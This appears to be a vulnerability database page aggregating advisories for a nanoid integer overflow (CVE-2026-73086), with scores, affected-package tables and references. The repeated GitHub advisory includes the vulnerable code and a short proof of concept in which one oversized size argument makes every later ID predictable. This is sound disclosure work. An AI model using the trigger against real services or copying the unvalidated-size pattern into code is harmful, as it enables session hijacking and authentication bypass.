CVE-2026-73086
nanoid: Integer Overflow or Wraparound
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
nanoid: Integer Overflow or Wraparound
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
CVE-2026-73086- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-190
- Updated
- 2026-11-02
EUVDEUVD-2026-56554
7.4
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
EUVD-2026-56554- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xwg4-73v4-xw9w
7.4
nanoid: Integer Overflow or Wraparound
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
sizeparameter without validation
- Record
GHSA-xwg4-73v4-xw9w- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-190
- Updated
- 2026-11-02
NVD
7.4
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
CVE-2026-73086- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-190
- Updated
- 2026-11-02
OSV
7.4
nanoid: Integer Overflow or Wraparound
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
CVE-2026-73086- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-190
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-73086
7.4
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
DEBIAN-CVE-2026-73086- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Show 19 moreShow less
OSVGHSA-xwg4-73v4-xw9w
7.4
nanoid: Integer Overflow or Wraparound
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
sizeparameter without validation
- Record
GHSA-xwg4-73v4-xw9w- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-190
- Updated
- 2026-11-02
OSVRHSA-2026:48758
8.1
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:48758- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50287
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:50287- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:54412
7.4
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:54412- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRHSA-2026:54518
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:54518- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:54520
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:54520- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:71113
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:71113- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:74503
9.1
Red Hat Security Advisory: Satellite 6.19.5 Async Update
- Record
RHSA-2026:74503- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-73086
7.4
nanoid is a secure, URL-friendly, unique string ID generator for JavaScript. Prior to versions 3.3.12 and 5.1.11, the nanoid(size) function in index.js and index.cjs coerces the user-influenced size parameter to a signed 32-bit integer, allowing a value of 2147483648 to become -2147483648 and corrupt the process-wide CSPRNG poolOffset in fillPool(), which causes subsequent session tokens, CSRF tokens, API keys, and unique identifiers to become the deterministic string "uuuuuuuuuuuuuuuuuuuuu" until the process restarts. This issue is fixed in versions 3.3.12 and 5.1.11.
- Record
UBUNTU-CVE-2026-73086- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1790609840 No score
TuxCare security update for nanoid (4 CVEs)
TuxCare rebuilt nanoid to address 4 CVEs. Fixed in 3.3.7-tuxcare.2.
- Record
CLSA-2026-1790609840- Updated
- 2026-11-02
OSVCLSA-2026-1791396501 No score
TuxCare security update for nanoid (2 CVEs)
TuxCare rebuilt nanoid to address 2 CVEs. Fixed in 5.1.6-tuxcare.1.
- Record
CLSA-2026-1791396501- Updated
- 2026-11-02
OSVCLSA-2026-1791806697 No score
TuxCare security update for nanoid (1 CVE)
TuxCare rebuilt nanoid to address 1 CVE. Fixed in 5.1.5-tuxcare.2.
- Record
CLSA-2026-1791806697- Updated
- 2026-11-02
OSVCLSA-2026-1792139111 No score
TuxCare security update for nanoid (1 CVE)
TuxCare rebuilt nanoid to address 1 CVE. Fixed in 3.3.8-tuxcare.2.
- Record
CLSA-2026-1792139111- Updated
- 2026-11-02
OSVCLSA-2026-1792231734 No score
TuxCare security update for nanoid (1 CVE)
TuxCare rebuilt nanoid to address 1 CVE. Fixed in 3.3.11-tuxcare.3.
- Record
CLSA-2026-1792231734- Updated
- 2026-11-02
OSVCLSA-2026-1792231838 No score
TuxCare security update for nanoid (1 CVE)
TuxCare rebuilt nanoid to address 1 CVE. Fixed in 3.3.6-tuxcare.3.
- Record
CLSA-2026-1792231838- Updated
- 2026-11-02
OSVCLSA-2026-1792231931 No score
TuxCare security update for nanoid (1 CVE)
TuxCare rebuilt nanoid to address 1 CVE. Fixed in 3.3.4-tuxcare.3.
- Record
CLSA-2026-1792231931- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11680-1 No score
agama-web-ui-24+0.a836cced5-52.1 on GA media
These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11680-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score
velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12070-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-73086 No score
CVE-2026-73086 in nanoid - Patched by Root
Root has patched CVE-2026-73086 in the nanoid package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-73086- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nanoidnpm |
before 3.3.12 | 3.3.12 |
nanoidnpm |
4.0.0 up to 5.1.11 | 5.1.11 |
nanoidTuxCare:npm From an advisory covering 4 CVEs |
3.3.7-tuxcare.0 up to 3.3.7-tuxcare.2, plus listed versions 3.3.73.3.7-tuxcare.1 |
3.3.7-tuxcare.2 |
nanoidTuxCare:npm From an advisory covering 2 CVEs |
5.1.6-tuxcare.0 up to 5.1.6-tuxcare.1, plus listed versions 5.1.6 |
5.1.6-tuxcare.1 |
nanoidTuxCare:npm |
5.1.5-tuxcare.0 up to 5.1.5-tuxcare.2, plus listed versions 5.1.55.1.5-tuxcare.1 |
5.1.5-tuxcare.2 |
nanoidTuxCare:npm |
3.3.8-tuxcare.0 up to 3.3.8-tuxcare.2, plus listed versions 3.3.83.3.8-tuxcare.1 |
3.3.8-tuxcare.2 |
nanoidTuxCare:npm |
3.3.11-tuxcare.0 up to 3.3.11-tuxcare.3, plus listed versions 3.3.113.3.11-tuxcare.13.3.11-tuxcare.2 |
3.3.11-tuxcare.3 |
nanoidTuxCare:npm |
3.3.6-tuxcare.0 up to 3.3.6-tuxcare.3, plus listed versions 3.3.63.3.6-tuxcare.13.3.6-tuxcare.2 |
3.3.6-tuxcare.3 |
nanoidTuxCare:npm |
3.3.4-tuxcare.0 up to 3.3.4-tuxcare.3, plus listed versions 3.3.43.3.4-tuxcare.13.3.4-tuxcare.2 |
3.3.4-tuxcare.3 |
node-mochaDebian:12 |
before 9.1.4+ds1+~cs28.2.8-1 | 9.1.4+ds1+~cs28.2.8-1 |
Show 72 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-mochaDebian:13 |
before 9.1.4+ds1+~cs28.2.8-1 | 9.1.4+ds1+~cs28.2.8-1 |
node-mochaDebian:14 |
before 9.1.4+ds1+~cs28.2.8-1 | 9.1.4+ds1+~cs28.2.8-1 |
node-postcssDebian:12 |
All versions, plus listed versions 8.4.20+~cs8.0.23-18.4.20+~cs8.0.23-1+deb12u18.4.31+~cs8.0.26-18.4.39+~cs9.2.29-18.4.49+~cs9.2.32-1 Show 15 moreShow less8.5.12+~cs9.3.32-18.5.14+~cs9.3.34-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-18.5.15+~cs9.3.39-18.5.19+~cs10.2.23-18.5.21+~cs10.2.23-18.5.23+~cs10.2.23-18.5.25+~cs10.2.23-18.5.26+~cs10.2.24-18.5.28+~cs10.2.24-18.5.31+~cs10.2.26-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
None known |
node-postcssDebian:13 |
All versions, plus listed versions 8.4.49+~cs9.2.32-18.5.12+~cs9.3.32-18.5.14+~cs9.3.34-18.5.15+~cs9.3.34-18.5.15+~cs9.3.38-1 Show 11 moreShow less8.5.15+~cs9.3.39-18.5.19+~cs10.2.23-18.5.21+~cs10.2.23-18.5.23+~cs10.2.23-18.5.25+~cs10.2.23-18.5.26+~cs10.2.24-18.5.28+~cs10.2.24-18.5.31+~cs10.2.26-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
None known |
node-postcssDebian:14 |
before 8.5.14+~cs9.3.34-1, plus listed versions 8.4.49+~cs9.2.32-18.5.12+~cs9.3.32-18.5.6+~cs9.3.28-18.5.8+~cs9.3.30-18.5.9+~cs9.3.30-1 |
8.5.14+~cs9.3.34-1 |
jaegerRed Hat:hummingbird:1 From an advisory covering 8 CVEs |
before 0:2.20.0-0.8.hum1 | 0:2.20.0-0.8.hum1 |
prometheus3.13Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:3.13.2-0.2.hum1 | 0:3.13.2-0.2.hum1 |
grafana13.1Red Hat:hummingbird:1 |
before 0:13.1.3-0.1.hum1 | 0:13.1.3-0.1.hum1 |
grafana12.4Red Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:12.4.8-0.1.1.hum1 | 0:12.4.8-0.1.1.hum1 |
prometheus3.5Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:3.5.5-0.8.hum1 | 0:3.5.5-0.8.hum1 |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el10ap | 0:1.6.8-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.14-1.el9ap | 0:2.6.14-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
rubygem-foreman_remote_executionRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:16.5.3-2.el9sat | 0:16.5.3-2.el9sat |
rubygem-foreman_remote_execution-cockpitRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:16.5.3-2.el9sat | 0:16.5.3-2.el9sat |
foremanRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-debugRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-pcpRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foremanRed Hat:satellite_utils:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-cliRed Hat:satellite_utils:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foremanRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-cliRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-debugRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-dynflow-sidekiqRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-ec2Red Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-journaldRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-libvirtRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-openstackRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-pcpRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-postgresqlRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-redisRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-serviceRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-telemetryRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
foreman-vmwareRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0.14-1.el9sat | 0:3.18.0.14-1.el9sat |
rubygem-hammer_cliRed Hat:satellite_utils:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0-2.el9sat | 0:3.18.0-2.el9sat |
rubygem-hammer_cliRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.18.0-2.el9sat | 0:3.18.0-2.el9sat |
python3.12-dynaconfRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.2.13-2.el9pc | 0:3.2.13-2.el9pc |
python3.12-dynaconfRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.2.13-2.el9pc | 0:3.2.13-2.el9pc |
yggdrasil-worker-forwarderRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:0.1.0-2.1.el9sat | 0:0.1.0-2.1.el9sat |
python3.12-sqlparseRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:0.6.0-1.el9pc | 0:0.6.0-1.el9pc |
python3.12-sqlparseRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:0.6.0-1.el9pc | 0:0.6.0-1.el9pc |
rubygem-katelloRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:4.20.0.11-1.el9sat | 0:4.20.0.11-1.el9sat |
python3.12-gitpythonRed Hat:satellite_capsule:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.1.62-1.el9pc | 0:3.1.62-1.el9pc |
python3.12-gitpythonRed Hat:satellite:6.19::el9 From an advisory covering 31 CVEs |
before 0:3.1.62-1.el9pc | 0:3.1.62-1.el9pc |
nanoidRoot:npm |
before 3.3.4-aikido.2 | 3.3.4-aikido.23.3.11-aikido.23.3.8-aikido.23.3.7-aikido.33.3.12-aikido.1 |
@rootio/nanoidRoot:npm |
before 3.3.4-root.io.2 | 3.3.4-root.io.23.3.11-root.io.23.3.8-root.io.23.3.7-root.io.33.3.12-root.io.1 |
node-mochaUbuntu:16.04:LTS |
All versions, plus listed versions 1.20.1-11.20.1-2 |
None known |
node-mochaUbuntu:18.04:LTS |
All versions, plus listed versions 1.20.1-7 |
None known |
node-mochaUbuntu:20.04:LTS |
All versions, plus listed versions 4.1.0+ds3-57.0.1+ds1-2 |
None known |
node-postcssUbuntu:20.04:LTS |
All versions, plus listed versions 6.0.23-16.0.23-3 |
None known |
node-postcssUbuntu:22.04:LTS |
All versions, plus listed versions 8.2.1+~cs5.3.23-88.4.5+~cs7.1.51-28.4.6+~cs7.3.21-1 |
None known |
node-postcssUbuntu:24.04:LTS |
All versions, plus listed versions 8.4.20+~cs8.0.23-18.4.31+~cs8.0.26-1 |
None known |
node-postcssUbuntu:26.04:LTS |
All versions, plus listed versions 8.5.6+~cs9.3.28-18.5.8+~cs9.3.30-1 |
None known |
agama-web-uiopenSUSE:Tumbleweed From an advisory covering 19 CVEs |
before 24+0.a836cced5-52.1 | 24+0.a836cced5-52.1 |
velociraptoropenSUSE:Tumbleweed From an advisory covering 40 CVEs |
before 0.76.7.0.git145.b60ef1146-1.1 | 0.76.7.0.git145.b60ef1146-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-73086 is a high vulnerability (CVSS 7.4) in Ai Nanoid, published July 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 22nd percentile. Fixed in nanoid 3.3.12.
References
github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w
github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4
github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3
github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac
github.com/ai/nanoid/releases/tag/3.3.12
github.com/ai/nanoid/releases/tag/5.1.11
Show 194 moreShow less
nvd.nist.gov/vuln/detail/CVE-2026-73086
github.com/advisories/GHSA-xwg4-73v4-xw9w
github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73086.json
security-tracker.debian.org/tracker/CVE-2026-73086
